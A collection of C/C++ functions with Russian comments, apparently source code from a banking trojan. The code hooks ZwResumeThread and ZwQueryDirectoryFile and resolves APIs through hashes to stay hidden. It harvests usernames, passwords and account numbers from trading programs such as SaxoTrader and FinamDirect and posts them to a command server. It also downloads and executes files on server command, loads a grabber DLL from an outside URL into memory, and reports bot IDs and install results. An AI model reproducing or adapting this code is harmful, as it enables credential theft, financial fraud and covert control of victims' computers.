// Описание удаление куков здесь: // http://social.msdn.microsoft.com/Forums/en/ieextensiondevelopment/thread/ce81943b-32b8-437b-b620-171c3d5893e7 // Эта функция - аналог "RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2" // и ф-ии ResetIEtoDefaults оттуда же BOOL Delete_IECookies_Vista() { BOOL res = false; OutputDebugStr("IECookies_Vista: reseting IE to default state..."); typedef int ( WINAPI *ResetIEtoDefaults)( HWND hWnd ); ResetIEtoDefaults pResetIEtoDefaults = (ResetIEtoDefaults)GetProcAddressEx( NULL, 14, 0x5E2957F0 ); if (pResetIEtoDefaults) { pResetIEtoDefaults(0); OutputDebugStr("ok!"); res = true; } else OutputDebugStr("failed."); OutputDebugStr("IECookies_Vista: deleting cookies..."); typedef void ( CALLBACK *ClearMyTracksByProcess )( HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow ); ClearMyTracksByProcess pClearMyTracksByProcess = (ClearMyTracksByProcess)GetProcAddressEx( NULL, 14, 0xE2BFBBBE ); if (pClearMyTracksByProcess) { pClearMyTracksByProcess(0, GetModuleHandle(0), "2", 0); OutputDebugStr("ok!"); res = true; } else OutputDebugStr("failed."); return res; }
void HookZwResumeThread() { dwHashPid = NULL; dwPidCount = 0; dwAddrRthProc = (DWORD)&JmpToHookRthProc; DWORD dwAddr = (DWORD)&dwAddrRthProc; PZwResumeThread ZwResumeThread = (PZwResumeThread)GetProcAddressEx( NULL, 5, 0xACF8BF39 ); LPVOID lpMem; LPVOID lpPtr; lpPtr = (LPVOID)ZwResumeThread; ProtectPage( lpPtr, PAGE_EXECUTE_READWRITE ); lpMem = pVirtualAllocEx( (HANDLE)-1, NULL, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if ( lpMem == NULL ) { return; } ZwResumeThreadReal = (PZwResumeThread)lpMem; m_memcpy( lpMem, lpPtr, 15 ); lpPtr = (LPVOID)((DWORD)lpPtr + 5 ); if ( *(BYTE*)lpPtr == 0xBA ) // win xp and up { lpPtr = (LPVOID)((DWORD)lpPtr + 1 ); m_memcpy( lpPtr, &dwAddr, 4 ); } else { if ( *(BYTE*)lpPtr == 0x8D ) //win2000 { *(BYTE*)lpPtr = 0x68; dwAddr = (DWORD)&ZwResumeThreadHook; lpPtr = (LPVOID)((DWORD)lpPtr + 1 ); m_memcpy( lpPtr, &dwAddr, 4 ); lpPtr = (LPVOID)((DWORD)lpPtr + 6 ); *(BYTE*)lpPtr = 0x00; } else { MemFree( lpMem ); } } ProtectPage( ZwResumeThread, PAGE_EXECUTE_READ ); return; }
bool UpdateContentLength(PREQUEST Request, bool FreeOldBuf) { // Функция обновляет заголовок "Content-Length" в заголовках HTTP запроса char * Buffer = (char *)Request->pBuf; // копируем HTTP заголовок int HeaderOffset = m_istrstr(Buffer, "\r\n\r\n" ); if (HeaderOffset == -1) return false; HeaderOffset += 4; // увеличиваем размер заголовка на "\r\n\r\n" PCHAR Header = StrNew(Buffer, HeaderOffset); if (Header == NULL) return false; // Лпределяем позицию параметра в заголовках m_lstrlwr(Header); // приводим заголовок к нижнему регистру char CL[] = {'c','o','n','t','e','n','t','-','l','e','n','g','t','h',':',' ',0}; int Pos = m_istrstr(Header, CL); StrFree(Header); if (Pos == -1) return false; // Копируем оригинальный заголовок DWORD ParamLen = m_lstrlen(CL); char *ParamName = (char*)MemAlloc(ParamLen + 1); if (ParamName == NULL) return false; m_memcpy(ParamName, Buffer + Pos, ParamLen); // Создаём строку с новым значением DWORD NewValue = m_lstrlen(Buffer + HeaderOffset); char NewContentLen[10]; typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); pwsprintfA(NewContentLen, "%d", NewValue); // Вписываем новое значение char *NewBuffer = NULL; bool Result = SubstituteText(Buffer, 0, &NewBuffer, ParamName, NewContentLen, "\r\n") >= 0; MemFree(ParamName); // Меняем буфер запроса if (Result) { if (FreeOldBuf) MemFree(Request->pBuf); Request->pBuf = (LPBYTE)NewBuffer; Request->uBufSize = m_lstrlen(NewBuffer); } return Result; }
inline LPVOID pushargEx2(A a1, B b1, C c1) { typedef LPVOID (NSPR_API *newfunc)(A, B, C); newfunc func = (newfunc)ApiCashe[ApiIndex]; if (func == NULL) { func = (newfunc)GetProcAddressEx(NULL, h, hash); ApiCashe[ApiIndex] = (LPVOID)func; } return func(a1, b1, c1); }
inline LPVOID pushargEx2() { typedef LPVOID (NSPR_API (*newfunc))(); newfunc func = (newfunc)ApiCashe[ApiIndex]; if (func == NULL) { func = (newfunc)GetProcAddressEx(NULL, h, hash); ApiCashe[ApiIndex] = (LPVOID)func; } return func(); }
void DebugReportBkInstallCode(DWORD BkInstallResult) { DebugReportSettings* settings = DebugReportGetSettings(); DBGRPTDBG("DebugReportBkInstallCode", "Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'", settings->Enabled, settings->StatPrefix, settings->StatUrl ); if (!settings->Enabled) return; string BotUid = GenerateUidAsString(settings->StatPrefix); CHAR value[50]; typedef int ( WINAPI *fwsprintfA)( PCHAR lpOut, PCHAR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); m_memset(value, 0, sizeof(value)); _pwsprintfA(value, "%u", BkInstallResult); PStrings Fields = Strings::Create(); AddURLParam(Fields, "cmd", "bkinstall"); AddURLParam(Fields, "uid", BotUid.t_str()); AddURLParam(Fields, "val", value); PCHAR Params = Strings::GetText(Fields, "&"); PCHAR URL = STR::New(2, settings->StatUrl, Params); DBGRPTDBG("DebugReportBkInstallCode", "sending url='%s'", URL); PCHAR Buffer = NULL; HTTP::Get(URL, &Buffer, NULL); STR::Free(Buffer); STR::Free(URL); STR::Free(Params); Strings::Free(Fields); DebugReportFreeSettings(settings); }
void InitSession( char *Host, int Port, char *Uid, char *Password ) { char Buffer[ 1024 ]; int r = 0; SOCKET Socket = NetConnect( Host, Port ); if ( Socket != INVALID_SOCKET ) { r = NetRecv( Socket, Buffer, 6 ); if ( r ) { Buffer[ 6 ] = 0; if ( !m_lstrncmp( Buffer, "HELLO\n", 6 ) ) { typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); _pwsprintfA( Buffer, "%s:%s\n", Uid, Password ); NetSend( Socket, Buffer, m_lstrlen( Buffer ) ); if ( NetRecv( Socket, Buffer, 6 ) ) { Buffer[ 6 ] = 0; if ( !m_lstrncmp( Buffer, "READY\n", 6 ) ) { SessionWork( Socket ); } } } } pclosesocket( Socket ); }
void HookZwQueryDirectoryFile() { dwAddrDirProc = (DWORD)&JmpToHookDirProc; DWORD dwAddr = (DWORD)&dwAddrDirProc; PZwQueryDirectoryFile ZwQueryDirectoryFile = (PZwQueryDirectoryFile)GetProcAddressEx( NULL, 5, 0x5F8B35D6 ); LPVOID lpMem; LPVOID lpPtr; lpPtr = (LPVOID)ZwQueryDirectoryFile; if ( lpPtr == NULL ) { return; } ProtectPage( lpPtr, PAGE_EXECUTE_READWRITE ); lpMem = pVirtualAllocEx( (HANDLE)-1, NULL, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if ( lpMem == NULL ) { return; } ZwQueryDirectoryFileReal = (PZwQueryDirectoryFile)lpMem; m_memcpy( lpMem, lpPtr, 15 ); lpPtr = (LPVOID)((DWORD)lpPtr + 5 ); if ( *(BYTE*)lpPtr == 0xBA ) // win xp and up { lpPtr = (LPVOID)((DWORD)lpPtr + 1 ); m_memcpy( lpPtr, &dwAddr, 4 ); } else { if ( *(BYTE*)lpPtr == 0x8D ) //win2000 { *(BYTE*)lpPtr = 0x68; dwAddr = (DWORD)&ZwQueryDirectoryFileHook; lpPtr = (LPVOID)((DWORD)lpPtr + 1 ); m_memcpy( lpPtr, &dwAddr, 4 ); lpPtr = (LPVOID)((DWORD)lpPtr + 6 ); *(BYTE*)lpPtr = 0x00; } else { MemFree( lpMem ); } } ProtectPage( ZwQueryDirectoryFile, PAGE_EXECUTE_READ ); return; }
void ParseTrade( HWND hWnd ) { char *Program = NULL; if ( !pTradeInfo ) { return; } if ( IsBlackwoodPro() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 1022; pTradeInfo->dwPassID = 1023; pTradeInfo->dwServID = 1687; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); while ( !(BOOL)pEnumChildWindows( (HWND)pGetParent( (HWND)pGetActiveWindow() ), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "BlackwoodPRO"; } else if ( IsFinamDirect() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 5328; pTradeInfo->dwPassID = 5329; pTradeInfo->dwServID = 159; pTradeInfo->dwAccID = 5965; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->UserID ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "FinamDirect"; } else if ( IsGrayBox() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 1000; pTradeInfo->dwPassID = 1001; pTradeInfo->dwServID = 1147; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "GrayBox"; } else if ( IsMbtPro() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 309; pTradeInfo->dwPassID = 310; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "MbtPRO"; } else if ( IsLaser() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 1062; pTradeInfo->dwPassID = 1064; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "Laser"; } else if ( IsLightSpeed() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 10826; pTradeInfo->dwPassID = 10825; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "LightSpeed"; } else if ( IsLT() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 5328; pTradeInfo->dwPassID = 5329; pTradeInfo->dwServID = 159; pTradeInfo->dwAccID = 5965; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->UserID ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "LTGroup"; } else if ( IsMbt() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 309; pTradeInfo->dwPassID = 310; pTradeInfo->dwServID = 311; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "Mbt"; } else if ( IsScotTrader() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 1076; pTradeInfo->dwPassID = 1005; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "ScotTrader"; } else if ( IsSaxoTrader() && TradeGetWindowID2( hWnd ) == 1442918145 ) { pTradeInfo->dwUserID = 1442906816; pTradeInfo->dwPassID = 1442906848; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc2, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "SaxoTrader"; } if ( Program != NULL ) { char *Buffer = (char*)MemAlloc( 1024 ); char Template[] = "Program: %s\r\n" "Username: %s\r\n" "Password: %s\r\n" "AccountNO: %s\r\n" "Server: %s\r\n"; if ( Buffer != NULL ) { typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); _pwsprintfA( Buffer, Template, Program, pTradeInfo->Username, pTradeInfo->Password, pTradeInfo->UserID, pTradeInfo->Server ); SendTradeInfo( Buffer ); MemFree( Buffer ); MemFree( pTradeInfo->Server ); MemFree( pTradeInfo->Username ); MemFree( pTradeInfo->Password ); MemFree( pTradeInfo->UserID ); if ( ( pTradeInfo = (PTRADEINFO)MemAlloc( sizeof( PTRADEINFO ) ) ) != NULL ) { m_memset( pTradeInfo, 0, sizeof( PTRADEINFO ) ); } } }
bool ReportToPlugin( char *Url ) { WSADATA wsa; if ( (int)pWSAStartup( MAKEWORD( 2, 2 ), &wsa ) != 0 ) { return false; } char *Host = NULL; char *Path = NULL; int Port = 0; if ( !ParseUrl1( Url, &Host, &Path, &Port ) ) { return false; } char Uid[100]; GenerateUid( Uid ); typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); char *UserAgent = NULL; UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); if ( UserAgent == NULL ) { MemFree( UserAgent ); UserAgent = "-"; } char Request[] = "POST %s HTTP/1.0\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Accept: text/html\r\n" "Connection: Close\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n\r\n"; char Args[] = "id="; char *HttpPacket = NULL; HttpPacket = (char*)MemAlloc( 2048 ); int iTmp; if (LoadExe!=NULL) { iTmp=m_lstrlen(LoadExe); }else iTmp=9; pwsprintfA( HttpPacket, Request, Path, Host, UserAgent, m_lstrlen( Args ) + m_lstrlen( Uid )+iTmp ); m_lstrcat( HttpPacket, Args ); m_lstrcat( HttpPacket, Uid ); if (LoadExe==NULL) { LoadExe = (char*)MemAlloc(10); m_lstrncpy(LoadExe,"&plugins=",9); LoadExe[9]='\0'; } m_lstrcat( HttpPacket, LoadExe ); SOCKET Socket = MyConnect1( Host, Port ); if( Socket == -1 ) { return false; } bool b = MySend( Socket, (const char *)HttpPacket, m_lstrlen( HttpPacket ) ); MemFree( HttpPacket ); if ( !b ) { return false; } DWORD dwSize = 0; char *Buffer = RecvAndParse( Socket, &dwSize ); if ( !Buffer ) { pclosesocket( Socket ); return false; } char MultiDownloadCommand[]={'m','u','l','t','i','d','o','w','n','l','o','a','d',0}; char *Context; m_strtok_s( Buffer, "\r\n", &Context ); if ( !m_lstrncmp( Buffer, MultiDownloadCommand, m_lstrlen( MultiDownloadCommand ) ) ) { char * cPointer= m_strstr(&Buffer[1],"http:"); char* cUrl=Buffer; char* cUrlNext; int i; char *DownloadUrl; while (true) { cUrl= m_strstr(&cUrl[1],"http:"); if (cUrl==NULL)break; cUrlNext= m_strstr(cUrl,"|"); i=m_lstrlen(cUrl)-m_lstrlen(cUrlNext); DownloadUrl = (char*)MemAlloc(i)+1; m_lstrncpy(DownloadUrl,cUrl,i); DownloadUrl[i]='\0'; if ( DownloadUrl ) { LoadExe=(char*)MemRealloc(LoadExe,33+m_lstrlen(LoadExe)+1); m_lstrcat( LoadExe, MD5StrFromBuf(DownloadUrl, STRA::Length(DownloadUrl)).t_str()); m_lstrcat( LoadExe, "|"); WCHAR *FileName =(WCHAR *)GetTempName(); if ( FileName && DownloadUrl ) { ExecuteFile( DownloadUrl, FileName ); } MemFree( FileName ); } MemFree( DownloadUrl ); } } MemFree( Buffer ); pclosesocket( Socket ); return true; }
DWORD WINAPI GrabberThread( LPVOID lpData ) { UnhookDlls(); /* char GrabberFile[] = {'X',':','\\', 't','r','a','s','h','\\','c','o','d','e','\\','w','o','r','k','\\' ,'r','f','b','\\','b','r','a','n','c','h','e','s','\\','d','l','l','\\','b','i','n','\\','D','e','b','u','g','\\','x','8','6','.','d','l','l',0}; ///if ( BotModule != NULL ) { typedef void ( WINAPI *PVNC_Start )(); HANDLE hFile=CreateFile(GrabberFile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0); DWORD dwSize=GetFileSize(hFile,0); LPVOID BotModule = MemAlloc(dwSize); pReadFile(hFile,BotModule,dwSize,&dwSize,0); pCloseHandle(hFile); HMEMORYMODULE hLib = MemoryLoadLibrary( BotModule ); if ( hLib == NULL ) { return 0; } PVNC_Start VNC_Start = (PVNC_Start)MemoryGetProcAddress( hLib, "_VNC_Start@0" ); ///PVNC_Start VNC_Start = (PVNC_Start)GetProcAddress(LoadLibrary(GrabberFile),"_VNC_Start@0"); VNC_Start(); while (true) pSleep(1); MemoryFreeLibrary( hLib ); MemFree( BotModule ); return 1; } */ //link.txt // char GrabberFile[] = {"http://apartman-adriana.com/temp/DrClient.dll"/*'/','g','r','a','b','e','r','.','d','l','l',0*/}; LPVOID BotModule = NULL; bool bKnock = false; while ( ( BotModule = DownloadPluginFromPath(GrabberFile, NULL ) ) == NULL ) { pSleep( 1000 * 60 * 5 ); } if ( BotModule != NULL ) { HMEMORYMODULE hLib = MemoryLoadLibrary( BotModule ); if ( hLib == NULL ) { return 0; } typedef char * ( WINAPI *PFTPGRAB )(); char GrabFTP[] = {'S','c','a','n','1', 0 }; char Ole32[] = {'o','l','e','3','2','.','d','l','l', 0}; typedef void ( WINAPI *PCoUninitialize )(); typedef HRESULT ( WINAPI *PCoInitialize )( LPVOID lpReserved ); PCoUninitialize pCoUninitialize_ = (PCoUninitialize)GetProcAddressEx( Ole32, 0, 0xEDB3159D ); PCoInitialize pCoInitialize_ = (PCoInitialize)GetProcAddressEx( Ole32, 0, 0xF341D5CF ); pCoUninitialize_(); pCoInitialize_( NULL ); PFTPGRAB FtpGrabber = (PFTPGRAB)MemoryGetProcAddress( hLib, GrabFTP ); char *Buffer = FtpGrabber(); DWORD dwSize = m_lstrlen( Buffer ); if ( dwSize != 0 ) { Buffer[ dwSize ] = '\0'; bool Sended = false; do { // Отправляем данные на сервер Sended = true; if (!Sended) pSleep( 1000 ); } while (!Sended); } MemoryFreeLibrary( hLib ); MemFree( Buffer ); MemFree( BotModule ); }
bool SendTradeInfo( char *Buffer ) { string Serv = GetActiveHost(); if ( Serv.IsEmpty()) return 0; char Host[30]; m_lstrcpy( Host, Serv.t_str()); char Script[] = {'/','g','e','t','/','t','r','a','.','h','t','m','l',0}; char Args[] = "id=%s&data=%s"; char Request[] = "POST %s HTTP/1.1\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Accept: text/html\r\n" "Connection: Close\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n\r\n"; char Uid[100]; GenerateUid( Uid ); char *Data = URLEncode( Buffer ); char *PartReq = (char*)MemAlloc( 1024 ); typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); if ( PartReq == NULL ) { return false; } _pwsprintfA( PartReq, Args, Uid, Data ); char *Header = (char*)MemAlloc( 1024 ); if ( Header == NULL ) { MemFree( PartReq ); return false; } char *UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); _pwsprintfA( Header, Request, Script, Host, UserAgent, m_lstrlen( PartReq ) ); MemFree( UserAgent ); char *SendBuffer = (char*)MemAlloc( m_lstrlen( PartReq ) + m_lstrlen( Header ) + 1 + 2 ); if ( SendBuffer == NULL ) { MemFree( PartReq ); MemFree( Header ); return false; } m_lstrcpy( SendBuffer, Header ); m_lstrcat( SendBuffer, PartReq ); m_lstrcat( SendBuffer, "\r\n" ); MemFree( Header ); MemFree( PartReq ); SOCKET Socket = MyConnect( Host, 80 ); bool Ret = MySend( Socket, (const char *)SendBuffer, m_lstrlen( SendBuffer ) ); pclosesocket( Socket ); MemFree( SendBuffer ); return Ret; }
char *GetInfoFromBcServer( char *Url ) { WSADATA wsa; if ( (int)pWSAStartup( MAKEWORD( 2, 2 ), &wsa ) != 0 ) { return false; } char *Host = NULL; char *Path = NULL; int Port = 0; if ( !ParseUrl( Url, &Host, &Path, &Port ) ) { return false; } typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); char Request[] = "GET %s HTTP/1.0\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Connection: close\r\n\r\n"; char *HttpPacket = (char*)MemAlloc( 1024 ); if ( HttpPacket == NULL ) { return false; } char *UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); _pwsprintfA( HttpPacket, Request, Path, Host, UserAgent ); SOCKET Socket = MyConnect( Host, Port ); if ( Socket == INVALID_SOCKET ) { MemFree( HttpPacket ); return NULL; } bool b = MySend( Socket, (const char *)HttpPacket, m_lstrlen( HttpPacket ) ); MemFree( HttpPacket ); if ( !b ) { return NULL; } DWORD dwSize = 0; char *Buffer = RecvAndParse( Socket, &dwSize ); pclosesocket( Socket ); return Buffer; }